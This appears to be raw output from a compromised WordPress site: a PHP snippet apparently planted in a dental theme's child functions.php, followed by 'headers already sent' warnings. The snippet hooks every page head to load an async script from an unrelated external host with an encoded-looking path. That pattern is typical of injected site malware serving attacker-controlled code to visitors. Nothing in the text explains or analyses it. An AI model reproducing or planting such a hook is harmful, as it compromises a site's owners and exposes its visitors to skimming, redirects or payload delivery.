/**<js>*/function add_my_code() {
   echo '<script async src="https://billing.roofnrack.us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>';
}
add_action('wp_head', 'add_my_code');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /wp-content/themes/dentalia-child-theme/functions.php:16) in <b>/wp-includes/pluggable.php</b> on line <b>1298</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /wp-content/themes/dentalia-child-theme/functions.php:16) in <b>/wp-includes/pluggable.php</b> on line <b>1301</b><br />